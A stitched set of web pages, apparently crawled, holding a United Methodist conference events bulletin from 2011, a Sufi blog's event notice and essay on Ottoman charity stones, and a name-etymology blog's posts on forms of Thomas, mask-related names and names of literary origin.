from. Pathways is a private, interfaith, nonprofit community development corporation working to rebuild and strengthen the city of Petersburg and surrounding counties. Human Relations Day is Sunday, Jan. 16 Human Relations Day is Sunday, Jan. 16. This day of social action and raising awareness aims to heal social ills at the national level. It supports Community Developers, United Methodist Voluntary Service and the Youth Offender Rehabilitation Program. In The United Methodist Church calendar, Human Relations Day is the Sunday immediately following the observance of Martin Luther King Jr.'s birthday. However, you can observe Human Relations Day at anytime of the year. The United Methodist Book of Discipline describes the purpose of Human Relations Day as a call to "the Church to recognize the right of all God's children in realizing their potential as human beings in relationship with each other." More … Jan. 18-25 is Week of Prayer for Christian Unity The Week of Prayer for Christian Unity is Jan. 18-25. The Week of Prayer for Christian Unity invites the whole Christian community throughout the world to pray in communion with the prayer of Jesus “that they all may be one” (John 17:21). The 2011 theme is One in the Apostles’ Teaching, Fellowship, Breaking of Bread and Prayer (Acts 2:42). Click here for resources. More … 2011 Calling 21 helps college students discern God’s call Calling 21 is a conference-wide, grass roots, congregation-based, youth-focused approach to the Virginia Conference's emerging culture of call. During the summer, college students are placed in church internships and spend the summer immersed in the life of a local church, not their own, discerning God's call into church leadership. Calling 21 interns will both learn and lead. The host church will be a church that has been noticed and named for its potential to help young people hear God's call upon their lives. The intern's stipend will be $2,500. Applicants shall be college students and interested in exploring their call to church leadership. Calling 21 partners include: The Institute for Church Professions of Shenandoah University, Virginia Conference Board of Ordained Ministry, The Fund for Theological Education, Virginia Conference Cabinet, and Calling 21 host congregations. More ... Conference seeks three 2011 summer interns Virginia Conference offices of Congregational Development & Evangelism, Leadership & Inclusivity,and Mission & Global Justice are each seeking a summer intern for 2011. Applicants for all three positions should desire to pursue a career in a ministry setting, have experience in and passion for the area of interest, and familiarity with The United Methodist Church. Intern salary is $250 a week (with a minimum of 10 weeks). Click here for application and guidelines. Deadline for submission of applications is Feb. 1. Applications should be e-mailed to Becky Tate at beckytate@vaumc.org. Voices of Youth accepting applications for 2011 tour participants Voices of Youth (VOY), a mission program of the Virginia Conference designed to connect high school youths with those in need through music and mission, has a new Web site, www.voyva.org. It includes information about the program, the VOY 2011 tour, information and applications for churches interested in hosting a concert in 2011 and participant applications. Applications are being accepted for new youths, returning youths, college students and adult staff. The VOY 2011 tour will be July 13-Aug. 5. The choir will travel to Haiti/Dominican Republic before returning to the Virginia Conference for its annual concert tour. Applications for youth and college students are being accepted through Jan. 3. The group is still looking for a few adult staff members and an accompanist. For more information, contact Voices of Youth coordinator, Rachel Hundley, at coordinator@voyva.org or the 2011 Team Leader, Chad Hrbek, at teamleader@voyva.org. Register now for Jan. 18-20 Ministers’ Convocation Register now for the Jan. 18-20 Ministers’ Convocation. Theme is “Shaping God’s People: A Study of Exodus,” addressing the question “How does the story of Exodus help us to live into a future that is different from the past?” Keynote presenters will be Dr. Gil Rendle, senior consultant for the Texas Methodist Foundation for Clergy and Congregational Excellence, and Dr. Joel LeMon, assistant professor of Old Testament, Candler School of Theology, Emory University. Preaching during the week will be Bishop Charlene Kammerer and the Rev. Lisa Yebuah, newly ordained elder in the North Carolina Conference and Minister of Community Witness at Edenton Street UMC, Raleigh, N.C. A variety of workshops will be held on Wednesday, and district reflection groups will be led by younger clergy in the conference. Click here to register online or to download registration form. United Methodist Day at General Assembly is Feb. 3 United Methodist Day at the General Assembly will be Thursday, Feb. 3. Sponsored by the Board of Church and Society and Virginia Conference United Methodist Women, UM Day is an avenue of faithful advocacy that is both fun and meaningful. New this year: online registration, early bird pricing, morning prayer in the Capitol rotunda with Bishop Kammerer, and a large group session with General Assembly leaders and United Methodist legislators. Register before Friday, Jan. 21, and save $5. Click here for more information and online registration. Host church will be Bon Air UMC again this year. A block of rooms has been reserved at the Hyatt Place Richmond Arboretum for $79 per night. As we prepare for UM Day, please pray for our legislators and sign up for Action Alerts at the Virginia Interfaith Center Web site: http://www.virginiainterfaithcenter.org/. Ted Hart to speak at 5 Talent Academy teaching event Feb. 19 Ted Hart, CEO of Hart Philanthropic Services and author of several books including People to People Fundraising: Social Networking and Web 2.0 for Charities, will be featured speaker at the 5 Talent Academy teaching event on Stewardship 10 a.m. to 3:30 p.m. Saturday, Feb. 19, at Floris United Methodist Church, 13600 Frying Pan Road, Herndon. More … Lay Servants Academy to be Feb. 25-27 at VUMAC All laity are invited to the first Lay Servants Academy — and the 33rd annual Lay Speakers Training — to be held at the Virginia United Methodist Assembly Center (VUMAC) in Blackstone Feb. 25-27. You do not need to be on track to become a Local Lay Speaker or Certified Lay Speaker to attend, although these programs are developed to challenge the Lay Speaker to become skilled to the level of certification and offer continuing training for re-certification. Every chairperson, committee member, teacher, or congregational leader is encouraged to take the introductory course and overview of United Methodism. Registration deadline is Feb. 11. Click here for more information, including brochure and registration form. Clergy Spouse Retreat to be March 3-5 at VUMAC The 49th Annual Clergy Spouse Retreat will be March 3-5 at the Virginia United Methodist Assembly Center (VUMAC) in Blackstone. The Rev. Dr. Lynne Caldwell will speak on "Rx Laughter, the Best Medicine." Activities will include Zumba exercise class, Quilt for the Homeless, Strength to Minister workshop, Simplicity/Simple Living discussion, Tai Chi class, book review/discussion of Preacher Creature Strikes on Sunday, nature walk and knitting class. More information will be available on either www.vaumc.org or www.vumac.org after the New Year. Registration forms will be sent. (If you haven't received one by the end of January, contact your district office.) For more information, contact Bill Moore, 2011 Clergy Spouse Retreat chair, at wjmoorewj@gmail.com. Middle School Confirmation Retreat set for March 25-27 On March 25-27, confirmands will once again have the opportunity to explore how Jesus lived his life and his effect upon people. Join keynote speaker Justin Hicks from River Road UMC, the Steve Kropp Band and the staff of Westview on the James, in Goochland County, for the Middle School Confirmation retreat, "Following Jesus." Youths will consider the experiences of their own lives in light of Jesus' example and will be challenged to commit to Christ and Christ's way. Curriculum is based on "Claim the Name" retreat curriculum. Experiential learning blended with upbeat praise and worship and the energy of Westview's counselors is a great way to supplement your confirmation training. Register by Jan. 15 to receive early-bird rate of $85 per person. Click here for brochure. For more information, call the camp office at (804) 457-4210 or e-mail Cat Holbert Rudys at wvretreats@hughes.net. Children’s Ministry Forum to be Feb. 22-24 in San Antonio Children’s Ministry leaders in large United Methodist churches will receive new skills, fresh understandings and revived energy at the 2011 Children’s Ministry Forum Feb. 22-24 in San Antonio. Sponsored by the General Board of Discipleship (GBOD), the event, “Remembering Our Story,” will focus on remembering, rejoicing, renewing and responding as participants experience the biblical stories in new ways and develop multiple tactics to teach the stories to children. Although the event is designed for children’s ministry leaders in large United Methodist congregations with more than 250 people in worship, representatives from smaller congregations also are welcome to attend. More … 2011 Caring for Creation Conference to be March 31-April 3 One More Generation, a nonprofit founded by Carter and Olivia Ries (ages 9 and 8, respectively), will be featured presenters at the 2011 Caring for Creation at Lake Junaluska Conference and Retreat Center March 31–April 3. One More Generation (OMG) is dedicated to the preservation of endangered species. Reduced registration fee is available until Jan. 1. For registration, scholarship request forms and more information, visit www.lakejunaluska.com/caring-for-creation or call (828) 454-6656. SEJ Clergywomen’s Consultation is April 4-7 in Atlanta The Southeastern Jurisdiction Clergywomen’s Consultation will be held April 4-7 at the Emory Conference Center and Hotel, Atlanta. Cost is $150. (A $65 special fee for students includes all workshops, plenaries, worship services, but only one meal — the banquet on Wednesday night.) Virginia Bishop Charlene Kammerer will be honored during the Wednesday night banquet. Click here for more information and to register. For in-depth news and features about United Methodist mission and ministry, subscribe to the Virginia United Methodist Advocate, the Virginia Conference’s award-winning monthly newsmagazine. Click here to subscribe online. Or call Peggy Cribbs at 1-800-768-6040, ext. 110, or (804) 521-1110. Or e-mail Advocate@vaumc.org. P.O. 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__label__cc	0.609471	0.390529	Osmanli Traveller Defenders of Truth – The Naksibendi-Hakkani Sufi Way Sohbets Biz Osmanliyiz! (Flier) Zikr @ Rutgers Newark – Saturday March 31st March 19, 2007 / hakkani7 / 1 Comment “Zikr” – March 31st at Rutgers-Newark with Shaykh Abdul Kerim al-Kibrisi March 18, 2007 March 18, 2007 / hakkani7 / 6 Comments BismillahirRahmanir Rahim Peace and Blessings on the Holy Prophet, his Family and Companions Holy Prophet (s) said “When you pass by the Gardens of Paradise sit in them”. A companion asked, “What is a Garden from Paradise, O Messenger of Allah?” The Holy Prophet answered, “The circles of zikir”. – [Tirmidhi, Ahmad] The Spiritual Reality of Islam Saturday, March 31st at 6:00 pm With Shaykh Abdul Kerim al-Kibrisi and Lukman Hoca Sheykh Abdul Kerim al-Kibrisi is the leader and Imam of the Osmanli Naksibendi Dergahi, of Sidney Center, NY. Sheykh Abdul Kerim is the representative of Shaykh Maulana Nazim al-Hakkani, who is recognized world wide as a master of Islamic spirituality. Shaykh Abdul Kerim is blessed not only with sacred lineage, being a descendant of the Holy Prophet’s family, but he is also blessed with royal lineage of the Ottoman sultans. Shaykh Abdul Kerim leads religious services in Sidney Center, New York City, and Washington D.C. calling people to live the reality of traditional Islam. Sheykh Abdul Kerim al-Kibrisi and Lukman Hoca will be holding a short talk about the true spiritual reality of Islam. Afterwards, Shaykh Abdul Kerim al-Kibrisi will be leading traditional zikr. Traditional Islamic Songs will also be shared with all. Location: Paul Robenson Campus Center, Multi Purpose Room at Rutgers – Newark (Right across from NJIT) 350 Dr. Martin Luther King Jr. Boulevard http://www.newark. rutgers.edu/ maps/index. php?sId=directio ns Come sit with us in a Garden from Paradise All are invited to attend Light refreshments will be served All are welcome. These events are held for the pleasure of Allah and they are free of charge. For information call Yursil at: (908) 342-6011 Ottoman Ethics and Charity Stones March 15, 2007 March 15, 2007 / hakkani7 / Leave a comment Selam Aleykum, More insight into the Ottoman Empire… : In the past, Islamic societies exhibited concern for social and ecological issues because this was built in to the very fabric of their religion. The Ottomans, for example, had practices of a resoundingly ecological nature, long before ecology was ever heard of in the West. The quintessence of ecology was, of course, expressed in the Koran: BismillahirRahmanirRahim -“Eat, drink, but do not waste.” (7: 31) As we all know, the earth’s resources will provide for every one, as long as they are not squandered mindlessly. The “green” choice, is primarily and ethical choice; the science of ecology may tell us that the destruction of the environment will lead to the destruction of humanity, but it does not tell us why such self-destruction is wrong or bad. In accordance with the Islamic precept, to show compassion and tolerance toward not only human beings but all God’s creatures, the Ottomans saw to it that hungry wolves in the wild were fed carrion. This not only protected villages from being raided, but prevented the predator from entering the “endangered species” list, because according to their conception, ”every living being is precious”. The means for this was a unique institution they called, “the foundation”. Thus, the Ottomans had foundations for the preservation of birds, cats, mongrels, wildlife, et al. – a delicate ecological sensibility informed all their actions. Looking at all the funds and foundations devoted to preservation in the West today, one cannot help but remember their predecessors in a less ecology-conscious age. People in Turkey are not ordinarily told about such things, and I learned of them only by coincidence later in life. If a people themselves don’t know their own heritage, others may well be excused for their lack of knowledge in this regard. One of the areas Ottoman culture excelled was security against poverty. What I am about to tell you may sound like a fairy tale today, yet it is the truth, and provides a graphic example of Benedict’s “syphon system”. The Ottomans had stone pillars, approximately the size of a human, which I am informed are still to be found in certain parts of Istanbul. (They are said to exist all the way from Central Asia to the Balkans.) The purpose these stones served was not as mysterious as that of the monoliths at Stonehenge, but it may turn out to be more exciting by far in social terms. They were called “Charity Stones” (sadaka tashi) . A rich person who wanted to make a donation would reach up to a niche at the top of the stone, where he would deposit his gift. Later on, a needy person would come along,reach up, take what was enough for his needs, and leave the rest of the money where it was so that another one in need may find solace. The purpose of this device was to preserve the anonymity of the poor, thereby saving them from shame and loss of face. No one was reduced to begging. As a saying of the Holy Prophet (ASWS) goes, one of those who Allah’s shade will cover, on the day where there is no shade but His shade, will be one who gives sadaqa and conceals it so that his left hand does not know what his right hand gives. So, this method also saves the rich from ostentation, pride, and inflated ego. Does that sound too good to be true? Were there not, you may ask, any thieves? Well, it was either that, or the theives themselves – unlikely as this may seem, would also be making donations. If they had thieves these were the kind they had – the Robin Hood kind. Likewise, during the reign of the Ottoman Sultan, Suleiman the Magnificent, it is related that soldiers on the march, when they entered a vineyard and ate grapes, used to hang a bag of money at the location of the grapes they had just plucked. If all this sounds unbelievable, it is still a great consolation to learn that the descendants of such ancestors still preserve the meaning of the charity stones as a sort of atavism. What they accomplished as a matter of course, we cannot even dream of today. The equivalent in this day and age would be an open bank account; but can you imagine the deposits not being stolen before the poor and needy got to them? The essence of Ottoman ethics was this: Treat every human as if s/he were a jewel. This means that a person should be handled delicately, as a being of infinite worth. You will not find this stated in history books, which seldom do justice to this aspect of Ottoman life, but such was in fact the ideal – and more often then not – the practice. In an overcrowded world we stand even more, not less, in need of such conduct. – Henry Bayman (passages taken from The Black Pearl and The Secret of Islam: Love and Law in the Religion of Ethics) Selam Aleykum! Welcome to Osmanli Traveller – a Naksibendi-Hakkani Murid’s BLOG Bismillah-hir-Rahman-ir-Rahim Edep Ya HU! Welcome to those who Enter! Farewell to those who Leave! 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__label__wiki	0.711473	0.711473	Tag Archives: T names The many forms of Thomas American inventor Thomas Alva Edison, 1847–1931 Thomas, a name used in English, German, Dutch, French, Greek, and the Scandinavian languages, comes from the Aramaic name Ta’oma (twin). This name has long been a mainstay of the Christian world (in a variety of languages) due to Thomas the Apostle, who famously doubted the veracity of Jesus’s resurrection till he saw and felt the wounds himself. According to tradition, he was martyred in India. Thomas was introduced to the Anglophone world by the occupying Normans, and became quite popular thanks to the martyred St. Thomas à Becket, a 12th century archbishop of Canterbury. From the 13th to 19th centuries, it was among the five most common male English names, and is still fairly popular today. Portuguese-born Brazilian poet Tomás Antônio Gonzaga, 1744–1810 The name was #8 in the U.S. in 1880, when records were first kept, and ranged from #8 to #12 till 1968. In 1969, it was #13, and then began gradually descending in popularity. Thomas remained in the Top 50 till 2005, and has never ranked below #63 (in 2011 and 2012). In 2018, it was #49. Thomas also enjoys popularity in Northern Ireland (#9), Ireland (#12), England and Wales (#12), Scotland (#14), New Zealand (#14), The Netherlands (#14), Italy (#34), Belgium (#38), Austria (#53), France (#58), Switzerland (#76), and Norway (#90). Polish Prime Minister Tomasz Arciszewski, 1877–1955 Other forms of Thomas include: 1. Tomos is Welsh. Nicknames include Tomi and Twm (pronounced kind of like “tomb”). 2. Tàmhas is Scottish. Anglicisations include Tavish and Tòmas. 3. Toma is Romanian, Georgian, Macedonian, Serbian, Bulgarian, and Croatian. 4. Tuomas, or Tuomo, is Finnish, with nicknames including Tomi and Tommi. 5. Tomass, or Toms, is Latvian. 6. Tomasso is Italian. 7. Tamati is Maori. 8. Toomas is Estonian. 9. Tomaz is Breton. The alternate form Tomaž is Slovenian. 10. Tomé is Portuguese. Tomasso I, Marquess of Sanluzzo (1239–96) 11. Tomasz is Polish. 12. Tomas is Lithuanian, Norwegian, and Swedish; Tomás is Spanish, Irish, and Portuguese; Tomaš is Sorbian, Serbian, and Croatian; Tomáš is Czech and Slovak; Tomàs is Catalan; and Tómas is Icelandic. 13. Tamás is Hungarian. 14. Thomaase is Manx. 15. Thonmas is Jèrriais. 16. Toman is Vlach. 17. Tammes is a rare Danish form. 18. Tomasi is Tongan, Fijian, and Melanesian. 19. Tomasy is Malagasy. 20. Tomisav is Vlach. Tomáš Garrigue Masaryk, first President of Czechoslovakia (1850–1937) 21. Tomašis is Romani. 22. Tommes is Limburgish. 23. Tomôsz is Kashubian. 24. Tömu is Swiss–German. 25. Tovmas is Armenian. 26. Tuma is Arabic. The alternate form Tüma is Vilamovian. 27. Tumasch is Romansh. 28. Tummas is Faroese. 29. Tûmarse is Greenlandic. 30. Foma is Russian. Romanian hospital director, bacteriologist, educator, and humanitarian Dr. Toma Ciorbă (1864–1936) 31. Lillac is Caló–Romani. 32. Duommá is Sami. Other Sami forms of Thomas are Dommá and Duomis. 1. Thomasina is English. 2. Tomine is Norwegian. 3. Tamsin, or Tamsyn, is Cornish. 4. Thomaḯs is Greek. 5. Thomaḯda is also Greek. 6. Thomai is another Greek form. 7. Tuomasiina is a rare Finnish form. 8. Tommasina is Italian. 9. Tomazja is Polish. 10. Tomásia is Portuguese. Portuguese noblewoman Leonor Tomásia de Távora, 3rd Marquise of Távora (1700–59) 11. Thomine is French and Danish. 12. Tomasina is a rare English form. 13. Thomassine is a rare French form. 14. Thomassin is French–Cajun. 15. Thomasine is a rare Swedish and English form, and archaic French and Danish form. 16. Thomasin is English. 17. Thomasse is archaic French and English. 18. Tomasine is archaic Norwegian, last recorded in the 1940s. T names Armenian namesBreton namesCatalan namesCornish namesDutch namesEnglish namesEstonian namesFaroese namesFijian namesFinnish namesFrench namesGerman namesGreek namesGreenlandic namesHungarian namesIcelandic namesIrish namesItalian namesJèrriais namesLatvian namesLithuanian namesManx namesMaori namesnicknamesPortuguese namesRomanian namesScandinavian namesScottish namesSlavic namesSpanish namesT namesThomasWelsh names Leave a comment Masked names Continuing the Halloween theme for October, here are some names related to the word “mask.” Almost all of them are Ancient Germanic or Old Norse in origin, and thus not so realistic for a modern, real person. Unless otherwise specified, all these names are male. Adalgrim means “noble mask,” from Old High German adal (noble) and Old Norse grîma (mask). Aldgrim means “old mask,” from Gothic alds and Old High German alt (old) and Old Norse grîma. This name may also be an alternate form of Adalgrim. Alfgrim is a Middle English and German name meaning “elf mask,” from roots alf and grim. Arngrímr comes from Old Norse ǫrn (eagle) and grímr (person wearing a mask). Ásgrímr comes from Old Norse áss (god) and grímr. Aurgrímnir comes from Old Norse aur (clay, sand) and grímr or grimmr (grim). This is the name of a jötunn, a type of otherworldly creature in Norse mythology. Auðgrímr comes from Old Norse auðr (riches, fortune, prosperity) and grímr. Biligrim comes from Ancient Germanic bili (gentleness) and Old Norse grímr. Ebergrim comes from Old High German ebur (wild boar) and Old Norse gríma (mask). Edlgrímr comes from Old Norse eldr (fire) and gríma. Frotgrim comes from Old High German frôd (cautious, prudent) and Old Norse gríma. Grímr is the Anglo–Saxon, Old Swedish, Old Danish, Norwegian, and Swedish form of Grímr (mask, helmet), which was popular till the 12th century. This is also another name for the god Odin. Grimbald comes from Old Norse grîma and Old High German bald (brave, bold). Grimbert comes from Old Norse grîma and Old High German beraht (bright). Grimburg comes from Old Norse grîma and Old High German burg (fortress), or Gothic bairgan and Old High German bergan (to preserve, save, keep). Grimfrid comes from Old Norse grîma and Old High German fridu (peace). Grimhard comes from Old Norse grîma, and Gothic hardus and Old High German hart (hardy, brave). Grímheiður is Icelandic, derived from roots grímr (person wearing a mask) and heiðr (bright, cloudless, clear). Grimland comes from Old Norse grîma and land (land). Grímr means “masked person” or “shape-changer” in Old Norse, from gríma (mask, helmet). Since this was also a name for Odin, it may have been given to human boys in the hopes they’d walk through life with Odin’s protection. Grimulf comes from Old Norse grîma and Gothic vulfs (wolf). Grímúlfur is an Icelandic name derived from Old Norse grim (mask, helmet) and ulfr (wolf). Grimward comes from Old Norse grîma and Old High German wart (guard). Grimwald derives from Ancient Germanic grim (mask) and walk (power, ruler, leader). Hadegrim comes from Old High German hadu (battle) and Old Norse grîma. Hafgrímr comes from Old Norse haf (ocean, sea) and grímr (person wearing a mask). Hallgrímr comes from Old Norse elements hallr (rock) and grîma. Hardgrim comes from Gothic hardus and Old High German hart (brave, hardy), and Old Norse grîma. Hildegrim comes from Old Norse hildr (battle) and grîma. Hildigrímr comes from Old Norse hildr and grímr (person wearing a mask). Hólmgrímr is an Icelandic name formed from holmr (small island) and grímr. Hrafngrímur is an Icelandic name derived from Old Norse hrafn (raven) and grim (mask, helmet). Isangrim comes from Ancient Germanic isan (iron) and Old Norse grîma. Isgrim comes from Ancient Germanic îs (ice) and Old Norse grîma. Járngrímur is an Icelandic name formed from jarn (iron) and grímr. Jógrímr comes from Old Norse iór (horse) and grímr. Kolgrímur is Icelandic and Faroese, derived from Old Norse kolr (black, coal, dark) and grim (mask, helmet). Kriemhild (F) derives from Ancient Germanic grim and hild (battle). This name is famous as a character in the Nibelungenleid saga. Landgrim comes from Ancient Germanic land and Old Norse grîma. Liutgrim comes from Old High German liut (people) and Old Norse grîma. Madalgrim comes from Gothic mathi (meeting place) and Old Norse grîma. Margrímur is an Icelandic name derived from marr (ocean, sea, lake) and grímr (person wearing a mask). Menkao (F) can be derived from Japanese elements men (mask) and kao (face). Moye derives from Chinese elements mo (mask) and ye (deed, job, occupation, karma). Radgrim comes from Old High German rât (counsel) and Old Norse grîma. Rotgrim comes from Ancient Germanic hróthi (fame) and Old Norse grîma. Sigurgrímur is an Icelandic name formed from sigr (victory) and grímr. Skallagrímr comes from Old Norse skalli (bald head) and grímr. Stafngrímr derives from Ancient Germanic stafn (stern/prow of a ship) and grímr. Steingrímur is an Icelandic name derived from Old Norse steinn (stone) and grímr. Tegrimo may be a nickname for Teudegrimo, the Italian form of an Ancient Germanic name derived from þeud (people) and grim. Thancgrim comes from Ancient Germanic thanc and Old High German dankjan (to think) or dank (thanks), and Old Norse grîma. Theudegrim comes from Ancient Germanic þeud and Old Norse grîma. Þórgrímr comes from Thor/Þórr (thunder) and grímr. The modern Norwegian form is Torgrim. Víggrímur is a Faroese name derived from víg (battle, fight) and grímr. Walagrim comes from Old High German walah (traveller, wanderer, foreigner) and Old Norse grîma. Waldgrim derives from Gothic valdan (to reign) and Old Norse grîma. Wilgrim comes from Gothic vilja (desire, will) and Old Norse grîma. A names Ancient Germanic names G names German names H names Icelandic names J names L names M names Old Norse names R names S names Scandinavian names T names W names A namesChinese namesFaroese namesG namesGermanic namesH namesIcelandic namesItalian namesJ namesJapanese namesL namesM namesmask namesOld Norse namesR namesS namesScandinavian namesT namesW names Leave a comment Male names of literary origin, N–Z September 12, 2019 by Carrie-Anne American aviation pioneer Orville Wright, 1871–1948 Nemo means “nobody” in Latin. Jules Verne created it for the captain of Nautilus in his 1870 novel Twenty Thousand Leagues Under the Sea. Nerle is a character in L. Frank Baum’s 1903 novel The Enchanted Island of Yew. It may be based on Merle, a variant of Merrill or Muriel (“pleasant hill” or “bright sea”). Oberon is the King of the Fairies in Shakespeare’s 1595 play A Midsummer Night’s Dream. It’s based on Norman French name Auberon, which in turn derives from Ancient Germanic Alberich (elf power). Orville was coined by 18th century writer Fanny Burney, who may have meant it to mean “golden city” in French. Othello may be a diminutive of Italian name Otho, of unknown etymology. Shakespeare famously used it as the title character of his 1603 tragedy. Pantagruel is one of the title characters of 16th century French writer François Rabelais’s The Life of Gargantua and of Pantagruel series. It derives from Greek pantes (all) and Hagarene gruel (thirsty). Pantagruel was born during a great drought. Rabelais invented hundreds of new words in these novels, based on Ancient Greek. Some of them became part of the French language. Percival was created by 12th century French poet Chrétien de Troyes for Perceval, the Story of the Grail, which follows a Knight of the Round Table. It was probably based on Welsh name Peredur, which may mean “hard spears.” The spelling was possibly changed to resemble Old French percer val (to pierce the valley). Pirkka was created by Finnish poet Eino Leino for “Orjan Poka.“ It derives from pirkkalaiset (a Medieval Finnish group who controlled taxation in Lapland). Radames is a character in the 1871 opera Aida. Since it’s set in Ancient Egypt, librettist Antonio Ghislanzoni may have included the element Ra (Sun) to sound plausibly Egyptian. Radúz is a rare Czech name which was created by writer Julius Zeyer for his 1898 play Radúz and Mahulena. It derives from rád (glad, happy). Ruslan is Russian, Chechen, Ingush, Avar, Tatar, Circassian, Ukrainian, Belarusian, Bashkir, Kyrgyz, Kazakh, Uzbek, Armenian, and Ossetian. It was used by great Russian poet Aleksandr Sergeyevich Pushkin for his 1820 work Ruslan and Lyudmila, based on the name of Tatar and Russian folk hero Yeruslan Lazarevich. Its ultimate origin is Tatar name Uruslan, possibly from Turkic arslan (lion). 1887 illustration of Ruslan and Lyudmila Saridan is a king in the 12th century Georgian epic poem The Knight in the Panther’s Skin, by Shota Rustaveli. It’s unclear which Persian root he based it off of, but possible candidates include srudan (to sing, to recite) and srayidan (to protect). Unlike many other names in the poem, Saridan has never been very common. Sémaphore means “semaphore” (a visual signalling system) in French, ultimately derived from Ancient Greek roots sema (sign, token, mark) and phero (to carry, to bear). Thus, it roughly means “sign-bearer.” This is the name of a character in Franco–Belgian comic Cubitus. Sémaphore owns canine protagonist Cubitus. Siyavash is a prince in 11th century Persian epic The Shahnameh. The name means “possessing black stallions” in Avestan. Tuovi (a unisex name) was invented by Finnish writer Yrjö Sakari Yrjö-Koskinen for his 1859 novel Pohjan-Piltti. It derives from village Tuovila (village of Tove). Urizen was created by English poet William Blake for the personification of conventional reason and law. It’s a play on “your reason,” and possibly also derived from Greek horizein (horizon). Vahur means “brave” in Estonian. The name was invented by writer Edward Börnhohe for his 1880 novel Tasuja. I have a character by this name. Vambola is the title character of a novel by Estonian writer Andres Saal. It may be derived from Varbola Castle or the Old Estonian word vambas (mace). Siyavash, Copyright Aryzad at Wiki Commons Winnetou is an Apache chief in several of German novelist Karl May’s books. It may mean “burning water.” Ylermi is another name created by Eino Leino, for the protagonist of his poem Helkavirsiä I. Yorick is derived from Danish and Norwegian nickname Jørg (i.e., George). Shakespeare used it for a dead court jester in Hamlet (1600). Yvain is another creation of Chrétien de Troyes, based on Welsh name Owain (possibly a form of Eugene, “well-born”). Zalán was created by Hungarian writer Mihály Vörösmarty for his 1823 epic Zalán Futása. The name may come from Hungary’s Zala region, which in turn takes its name from the Zala River. Zorro means “fox” in Spanish, and became famous as the name of a character created by Johnston McCulley. N names O names P names R names S names T names U names V names W names Y names Z names Czech namesEnglish namesEstonian namesFinnish namesFrench namesGeorgian namesHungarian namesinvented namesItalian namesLatin namesliterary namesN namesnames from literatureO namesP namesPersian namesR namesRussian namesS namesScandinavian namesSlavic namesSpanish namesT namesTatar namesU namesV namesW namesWelsh namesY namesZ names 1 Comment Female names of literary origin, N-Z August 17, 2019 by Carrie-Anne U.S. actor Norma Shearer, 1902–1983 Nélida was created by French writer Marie d’Agoult for her semi-autobiographical 1846 novel of the same name, which she wrote under the pseudonym Daniel Stern. It’s probably an anagram of the pen name Daniel. Nestan-Darejan was created by great Georgian poet Shota Rustaveli for the famous 12th century national epic The Knight in the Panther’s Skin (lit. One with the Skin of a Tiger). He coined it from Persian phrase nist andar jahan, “unlike any other in the world.” Nestan-Darejan is a princess. Norma is the protagonist of Italian writer Felice Romani’s 1831 opera of the same name, possibly based on Latin norma (rule). It may also have been intended as a feminine form of Ancient Germanic name Norman (northman; i.e., Viking). Nydia is a blind flower seller in British writer Edward Bulwer-Lytton’s 1834 novel The Last Days of Pompeii, which was later made into an Italian silent film. It may be based on Latin nidus (nest). Ophelia as depicted inThe girlhood of Shakespeare’s heroines in a series of tales, 1881 Ophelia was probably created by 15th century Italian poet Jacopo Sannazaro for a character in his poem Arcadia, then later used by Shakespeare in 1600’s Hamlet. It derives from Greek ophelos (help). Ornella was created by Italian writer Gabriele d’Annunzio for the 1904 novel La Figlia di Jorio (The Daughter of Jorio), derived from Tuscan ornello (flowering ash tree). Pamela was created by English poet Sir Philip Sydney for the 16th century long pastoral romance poem The Countess of Pembroke’s Arcadia, possibly intended to mean “all sweetness,” from Greek pan (all) and meli (honey). This name exploded in popularity during the 1940s and stayed on the U.S. Top 100 till 1976. Perdita was created by Shakespeare for his 1610 play A Winter’s Tale, from Latin perditus (lost). Pippi was created by Karin Lindgren, daughter of Swedish writer Astrid Lindgren, for the title character of the Pippi Longstocking series. The first book was published in 1945. Her full name is Pippilotta. Ronja was created by Astrid Lindgren for Ronja the Robber’s Daughter (1981), derived from Juronjaure, a Swedish lake. Sandra was introduced to the Anglophone world by English writer George Meredith, who used it on the protagonist of his 1864 novel Emilia in England, reissued in 1887 as Sandra Belloni. Scarlett, from a surname originally bestowed upon sellers or makers of scarlet cloth, possibly derives from Persian saghrilat. Just about everyone knows Scarlett came to attention as a forename thanks to the protagonist of Margaret Mitchell’s historical saga Gone with the Wind (1936). Stella means “star” in Latin. This name was created by Sir Philip Sidney for the protagonist of his 1580s sonnet collection Astrophel and Stella. Tímea was created by Hungarian writer Mór Jókai for his 1873 novel The Golden Man, probably derived from Greek euthymia (good spirits, cheerfulness). Tinatin was created by aforementioned Georgian poet Shota Rustaveli for The Knight in the Panther’s Skin, possibly derived from Georgian word sinatle (light). Tinatin is the Queen of Arabia, and inherits the throne as the sole child of King Rostevan. Titania was possibly created by Shakespeare for his 1595 play A Midsummer Night’s Dream, in which Titania is Queen of the Fairies. It may derive from Latin name Titanius (of the Titans). Tünde was created by Hungarian writer Mihály Vörösmarty for his 1830 play Csongor és Tünde, derived from tündér (fairy). Undine was created by Medieval writer Paracelsus, derived from Latin unda (wave). He used it to refer to female water spirits. Detail of The Quarrel of Oberon and Titania, Joseph Noel Patton, 1849 Valmai means “like May” in Welsh. It was created by Welsh writer Allen Raine for her 1899 romance novel By Berwen Banks. Allen Raine was the understandable pseudonym of Anne Adalisa Beynon Puddicombe. Vanessa was created by British writer Jonathan Swift for his 1726 poem Cadenus and Vanessa, derived from rearranging the first syllables of the name of his friend Esther Vanhomrigh. Veslemøy means “little girl” in Norwegian. It was created by writer Arne Garborg for the title character of his 1895 poem Haugtussa. Viviette was created by British writer William John Locke for the title character of his 1910 novel. It’s a diminutive of Vivienne (alive). Wendy was created by Scottish writer J.M. Barrie for his famous 1904 play Peter Pan, derived from his nickname Fwendy (i.e., Friend). Prior to Peter Pan, it was rarely used as a possible nickname for Welsh names starting with Gwen (blessed, fair, white). Zerbinette was created by French writer Molière for his 1671 play Les Fourberies de Scapin (The Deceits of Scapin). N names O names P names R names S names T names U names V names W names Z names English namesFrench namesGeorgian namesHungarian namesinvented namesItalian namesliterary namesN namesnames from literatureNorwegian namesO namesP namesR namesS namesScandinavian namesSwedish namesT namesU namesV namesW namesWelsh namesZ names Leave a comment	cc/2020-05/en_middle_0032.json.gz/line8067
